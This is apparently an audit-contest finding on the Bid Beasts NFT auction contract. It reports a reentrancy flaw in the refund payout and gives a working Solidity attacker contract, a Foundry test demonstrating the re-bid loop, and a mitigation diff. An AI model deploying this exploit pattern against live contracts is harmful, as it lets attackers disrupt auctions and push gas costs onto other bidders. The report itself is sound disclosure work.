Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Refund Enabling Gas Theft and Scares Potential Bidders with Re-bid Loop

Reentrancy Refund Enabling Gas Theft and Scares Potential Bidders with Re-bid Loop

Description

Previous bidder refunds occur via low-level call in _payout, allowing malicious receive() to reenter placeBid with refunded ETH and calculated extra, outbidding the new caller using the caller's gas.

bids[tokenId] = Bid(msg.sender, msg.value);
if (previousBidder != address(0)) {
@>_payout(previousBidder, previousBidAmount);@>
}
emit BidPlaced(tokenId, msg.sender, msg.value);

Risk

Likelihood:

  • When previous bidder deploys reentrant contract to capture refund and rebid.

  • In auctions with escalating bids from automated contracts.

Impact:

  • Original caller subsidizes attacker's rebid gas costs.

  • Makes the seller get less amount by chasing away bidders who knows fully well they can't outbid.

Proof of Concept

Deploys reentrant contract that rebids higher in receive using refund. Funds it for first bid, then normal bidder outbids, but reentrant wins back using caller's gas, showing theft and failed outbid.

contract ReentrantBidder {
BidBeastsNFTMarket public market;
uint256 public tokenId;
constructor(address _market, uint256 _tokenId) {
market = BidBeastsNFTMarket(_market);
tokenId = _tokenId;
}
receive() external payable {
BidBeastsNFTMarket.Bid memory bid = market.getHighestBid(tokenId);
uint256 requiredAmount = (bid.amount / 100) * (100 + market.S_MIN_BID_INCREMENT_PERCENTAGE());
// Outbid, reenter to place higher bid
if (bid.bidder != address(this) && address(this).balance >= requiredAmount) {
market.placeBid{value: requiredAmount}(tokenId);
}
}
function placeInitialBid() external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
function testReentrantRefundGasTheft() public {
_mintNFT();
_listNFT();
// Deploy reentrant bidder, fund for initial bid
ReentrantBidder reentrant = new ReentrantBidder(address(market), TOKEN_ID);
vm.deal(address(reentrant), 4 ether);
// Reentrant places first bid
vm.prank(address(reentrant));
reentrant.placeInitialBid{value: 1.1 ether}();
// Normal bidder outbids, triggers reentrancy
vm.deal(BIDDER_2, 1.25 ether);
vm.prank(BIDDER_2);
market.placeBid{value: 1.25 ether}(TOKEN_ID);
// Reentrant outbid using caller's gas; bidder_2's bid fails to stick
BidBeastsNFTMarket.Bid memory currentBid = market.getHighestBid(TOKEN_ID);
assertEq(currentBid.bidder, address(reentrant));
}

Recommended Mitigation

Updates _payout to always add to failedTransferCredits without call, blocking reentrancy and gas abuse.

function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
- (bool success,) = payable(recipient).call{value: amount}("");
- if (!success) {
- failedTransferCredits[recipient] += amount;
- }
+ failedTransferCredits[recipient] += amount;
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.